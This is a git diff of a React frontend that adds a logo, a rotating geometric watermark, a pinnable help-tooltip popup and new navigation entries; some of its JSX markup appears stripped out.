buildArtifactUrl: (buildId: string, fileName: string) =>
`${API_BASE}/builds/${buildId}/artifact/${encodeURIComponent(fileName)}`,
diff --git a/server/web/src/assets/af-logo.png b/server/web/src/assets/af-logo.png
new file mode 100644
index 0000000..89e1c0f
Binary files /dev/null and b/server/web/src/assets/af-logo.png differ
diff --git a/server/web/src/components/Ambient/AmbientBackground.css b/server/web/src/components/Ambient/AmbientBackground.css
index 9dc72e1..4b8e156 100644
--- a/server/web/src/components/Ambient/AmbientBackground.css
+++ b/server/web/src/components/Ambient/AmbientBackground.css
@@ -101,3 +101,23 @@
height: 80px;
animation: gear-spin 45s linear infinite reverse;
}
+
+/* ── Sacred geometry watermark ── */
+.ambient-sacred-geo {
+ position: absolute;
+ /* Centre in the main content area (offset for the 260px sidebar) */
+ left: calc(260px + (100vw - 260px) / 2 - min(38vw, 680px) / 2);
+ top: 50%;
+ transform: translateY(-50%);
+ width: min(38vw, 680px);
+ height: min(38vw, 680px);
+ opacity: 0.07;
+ animation: sacred-geo-rotate 120s linear infinite;
+ pointer-events: none;
+ filter: drop-shadow(0 0 4px rgba(201, 162, 39, 0.3));
+}
+
+@keyframes sacred-geo-rotate {
+ from { transform: translateY(-50%) rotate(0deg); }
+ to { transform: translateY(-50%) rotate(360deg); }
+}
diff --git a/server/web/src/components/Ambient/AmbientBackground.tsx b/server/web/src/components/Ambient/AmbientBackground.tsx
index bb9b025..16b9089 100644
--- a/server/web/src/components/Ambient/AmbientBackground.tsx
+++ b/server/web/src/components/Ambient/AmbientBackground.tsx
@@ -1,5 +1,66 @@
import './AmbientBackground.css';
+/** Slow-rotating sacred geometry SVG — Flower of Life circles inscribed in a pentagram ring */
+function SacredGeometry() {
+ const cx = 50;
+ const cy = 50;
+ const R = 32; // outer circle radius
+
+ // Six-petal Flower of Life petal centres (offset by R from centre)
+ const petalAngles = [0, 60, 120, 180, 240, 300];
+ const petals = petalAngles.map((deg) => {
+ const rad = (deg * Math.PI) / 180;
+ return { x: cx + R * Math.cos(rad), y: cy + R * Math.sin(rad) };
+ });
+
+ // 5-pointed star vertices inscribed at radius R*1.15
+ const starR = R * 1.15;
+ const starPts = Array.from({ length: 5 }, (_, i) => {
+ const rad = ((i * 72 - 90) * Math.PI) / 180;
+ return { x: cx + starR * Math.cos(rad), y: cy + starR * Math.sin(rad) };
+ });
+ const starPath = starPts.map((p, i) => (i === 0 ? `M${p.x},${p.y}` : `L${p.x},${p.y}`)).join(' ') + ' Z';
+
+ // Inner triangles (upward + downward — Star of David inner ring)
+ const triR = R * 0.7;
+ const triUp = [0, 120, 240].map((d) => {
+ const rad = ((d - 90) * Math.PI) / 180;
+ return `${cx + triR * Math.cos(rad)},${cy + triR * Math.sin(rad)}`;
+ }).join(' ');
+ const triDown = [60, 180, 300].map((d) => {
+ const rad = ((d - 90) * Math.PI) / 180;
+ return `${cx + triR * Math.cos(rad)},${cy + triR * Math.sin(rad)}`;
+ }).join(' ');
+
+ return (
+
+ );
+}
+
export default function AmbientBackground() {
return (
@@ -11,6 +72,8 @@ export default function AmbientBackground() {
+ {/* Sacred geometry watermark — centre of the main content area */}
+
);
}
diff --git a/server/web/src/components/HelpTip.css b/server/web/src/components/HelpTip.css
index 9bb15d6..973639e 100644
--- a/server/web/src/components/HelpTip.css
+++ b/server/web/src/components/HelpTip.css
@@ -1,9 +1,14 @@
-.help-tip {
+.help-tip-trigger {
display: inline-flex;
align-items: center;
gap: 0.35rem;
margin-left: 0.35rem;
+ padding: 0;
+ border: none;
+ background: none;
cursor: help;
+ vertical-align: middle;
+ line-height: 1;
}
.help-tip-icon {
@@ -19,6 +24,55 @@
font-size: 0.6875rem;
font-weight: 700;
box-shadow: 0 0 8px rgba(0, 245, 255, 0.2);
+ transition: background 0.15s, box-shadow 0.15s, border-color 0.15s;
+}
+
+.help-tip-trigger:hover .help-tip-icon,
+.help-tip-trigger:focus-visible .help-tip-icon {
+ background: rgba(0, 245, 255, 0.22);
+ border-color: rgba(0, 245, 255, 0.65);
+ box-shadow: 0 0 12px rgba(0, 245, 255, 0.45);
+}
+
+.help-tip-label {
+ font-size: 0.75rem;
+ color: var(--text-secondary);
+}
+
+.help-tip-popup {
+ position: fixed;
+ z-index: 10000;
+ max-width: 280px;
+ padding: 0.55rem 0.75rem;
+ font-size: 0.78rem;
+ line-height: 1.45;
+ color: #e8f4f8;
+ background: rgba(6, 14, 18, 0.97);
+ border: 1px solid rgba(0, 245, 255, 0.45);
+ border-radius: 4px;
+ box-shadow:
+ 0 4px 24px rgba(0, 0, 0, 0.55),
+ 0 0 16px rgba(0, 245, 255, 0.12);
+ pointer-events: auto;
+ animation: help-tip-in 0.12s ease-out;
+}
+
+.help-tip-popup-pinned {
+ border-color: rgba(255, 180, 0, 0.55);
+ box-shadow:
+ 0 4px 24px rgba(0, 0, 0, 0.55),
+ 0 0 12px rgba(255, 160, 0, 0.2);
+}
+
+@keyframes help-tip-in {
+ from {
+ opacity: 0;
+ transform: translateY(-4px);
+ }
+ to {
+ opacity: 1;
+ transform: translateY(0);
+ }
}
.cheat-sheet-item {
diff --git a/server/web/src/components/HelpTip.tsx b/server/web/src/components/HelpTip.tsx
index 476a570..12b60de 100644
--- a/server/web/src/components/HelpTip.tsx
+++ b/server/web/src/components/HelpTip.tsx
@@ -1,5 +1,7 @@
+import { useCallback, useEffect, useRef, useState } from 'react';
+import { createPortal } from 'react-dom';
import { FIELD_HELP } from '../help/settingHelp';
-import '../components/HelpTip.css';
+import './HelpTip.css';
interface HelpTipProps {
field: string;
@@ -8,17 +10,111 @@ interface HelpTipProps {
export function HelpTip({ field, label }: HelpTipProps) {
const text = FIELD_HELP[field];
+ const triggerRef = useRef(null);
+ const popupRef = useRef(null);
+ const [open, setOpen] = useState(false);
+ const [pinned, setPinned] = useState(false);
+ const [pos, setPos] = useState({ top: 0, left: 0 });
+
+ const reposition = useCallback(() => {
+ const el = triggerRef.current;
+ if (!el) return;
+ const rect = el.getBoundingClientRect();
+ const popupW = 280;
+ let left = rect.left;
+ if (left + popupW > window.innerWidth - 12) {
+ left = window.innerWidth - popupW - 12;
+ }
+ left = Math.max(12, left);
+ setPos({ top: rect.bottom + 8, left });
+ }, []);
+
+ const show = useCallback(() => {
+ reposition();
+ setOpen(true);
+ }, [reposition]);
+
+ const hide = useCallback(() => {
+ if (!pinned) setOpen(false);
+ }, [pinned]);
+
+ const togglePin = useCallback(
+ (e: React.MouseEvent) => {
+ e.preventDefault();
+ e.stopPropagation();
+ if (pinned) {
+ setPinned(false);
+ setOpen(false);
+ } else {
+ reposition();
+ setPinned(true);
+ setOpen(true);
+ }
+ },
+ [pinned, reposition],
+ );
+
+ useEffect(() => {
+ if (!pinned) return;
+ const onDocClick = (e: MouseEvent) => {
+ const t = e.target as Node;
+ if (triggerRef.current?.contains(t) || popupRef.current?.contains(t)) return;
+ setPinned(false);
+ setOpen(false);
+ };
+ document.addEventListener('mousedown', onDocClick);
+ return () => document.removeEventListener('mousedown', onDocClick);
+ }, [pinned]);
+
+ useEffect(() => {
+ if (!open) return;
+ const onScroll = () => reposition();
+ window.addEventListener('scroll', onScroll, true);
+ window.addEventListener('resize', onScroll);
+ return () => {
+ window.removeEventListener('scroll', onScroll, true);
+ window.removeEventListener('resize', onScroll);
+ };
+ }, [open, reposition]);
+
if (!text) return null;
+
return (
-
- ?
- {label && {label}}
-
+ <>
+
+ {open &&
+ createPortal(
+ setOpen(true)}
+ onMouseLeave={hide}
+ >
+ {text}
+
,
+ document.body,
+ )}
+ >
);
}
-export function FieldHint({ field }: { field: string }) {
- const text = FIELD_HELP[field];
- if (!text) return null;
- return {text};
+/** @deprecated Use HelpTip on the label instead — hints are shown on ? hover/click only. */
+export function FieldHint(_props: { field: string }) {
+ return null;
}
diff --git a/server/web/src/components/Layout/Layout.css b/server/web/src/components/Layout/Layout.css
index a025499..0f999e8 100644
--- a/server/web/src/components/Layout/Layout.css
+++ b/server/web/src/components/Layout/Layout.css
@@ -43,25 +43,43 @@
.logo-emblem {
position: relative;
- width: 48px;
- height: 48px;
+ width: 52px;
+ height: 52px;
display: flex;
align-items: center;
justify-content: center;
+ flex-shrink: 0;
}
.logo-gear {
position: absolute;
- inset: 0;
- border: 2px dashed rgba(201, 162, 39, 0.4);
+ inset: -4px;
+ border: 1px solid rgba(201, 162, 39, 0.22);
border-radius: 50%;
- animation: gear-spin 20s linear infinite;
+ animation: gear-spin 30s linear infinite;
}
-.logo-core {
- font-size: 1.5rem;
- filter: drop-shadow(0 0 8px var(--neon-amber));
+.logo-gear::after {
+ content: '';
+ position: absolute;
+ inset: 5px;
+ border: 1px dashed rgba(201, 162, 39, 0.14);
+ border-radius: 50%;
+ animation: gear-spin 18s linear infinite reverse;
+}
+
+.logo-af-img {
+ width: 48px;
+ height: 48px;
+ object-fit: contain;
+ border-radius: 50%;
+ filter: drop-shadow(0 0 10px rgba(201, 162, 39, 0.7)) drop-shadow(0 0 3px rgba(255, 100, 0, 0.5));
z-index: 1;
+ transition: filter 0.3s ease;
+}
+
+.logo-af-img:hover {
+ filter: drop-shadow(0 0 16px rgba(201, 162, 39, 0.95)) drop-shadow(0 0 6px rgba(255, 140, 0, 0.7));
}
.logo-text-block {
diff --git a/server/web/src/components/Layout/Layout.tsx b/server/web/src/components/Layout/Layout.tsx
index 817c973..baf251a 100644
--- a/server/web/src/components/Layout/Layout.tsx
+++ b/server/web/src/components/Layout/Layout.tsx
@@ -4,6 +4,8 @@ import AmbientBackground from '../Ambient/AmbientBackground';
import SystemStatusBar from '../Visual/SystemStatusBar';
import { useWebSocket } from '../../hooks/useWebSocket';
import MatrixRain from './MatrixRain';
+import afLogo from '../../assets/af-logo.png';
+import CursorFire from '../Visual/CursorFire';
import './Layout.css';
interface LayoutProps {
@@ -13,7 +15,9 @@ interface LayoutProps {
const NAV = [
{ to: '/dashboard', label: 'Command Deck', icon: 'deck' },
{ to: '/agents', label: 'Fleet Roster', icon: 'fleet' },
+ { to: '/crucible', label: 'Crucible', icon: 'crucible' },
{ to: '/forge', label: 'Forge', icon: 'forge' },
+ { to: '/builds', label: 'Builds', icon: 'builds' },
{ to: '/guide', label: 'Field Guide', icon: 'guide' },
{ to: '/settings', label: 'Calibrate', icon: 'gear' },
] as const;
@@ -41,6 +45,15 @@ function NavIcon({ type }: { type: string }) {
);
+ case 'builds':
+ return (
+
+ );
case 'guide':
return (
);
+ case 'crucible':
+ return (
+
+ );
default:
return (